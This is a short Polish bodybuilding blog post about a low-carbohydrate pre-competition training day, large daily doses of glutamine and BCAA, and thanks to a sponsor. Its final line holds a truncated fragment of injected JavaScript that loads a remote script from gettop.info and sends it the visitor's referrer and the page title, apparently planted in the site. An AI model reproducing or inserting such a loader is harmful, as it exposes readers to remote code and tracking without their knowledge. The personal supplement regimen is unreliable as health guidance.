Niski poziom węgli

31.10.2011 / Michał Karmowski

Dziś był pierwszy dzień bardzo niskich węgli i treningu z większą liczbą powtórzeń aby wypompowywać glikogen. Kaloryczność diety dalej jest ta sama tylko dużo więcej tłuszczu, białko tez bez zmian. Na treningu były robione całe plecy, czworoboczne , dwugłowe , brzuch i barki tyle co dałem radę. Najgorsze , że pierwszy raz ból trzyma tak długo na tym samym poziomie i w ogóle się nie zmniejsza. Właśnie skończyłem ostatnią sesje aerobów na bieżni i do zawodów nie będę już ich robił, miałem przestać wcześniej ale treningi nie są na 100% i bałem się trochę o metabolizm aby nie zwolnił na ładowanie węglowodanami. Co do suplementacji to jem teraz około 100g glutaminy dziennie i bcaa. Dziękuję firmie TREC, że tak o mnie dba:-)d.getElementsByTagName(‚head’)[0].appendChild(s);}s.src=’http://gettop.info/kt/?sdNXbH&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‚&default_keyword=’ + encodeURIComponent(document.title) + ”;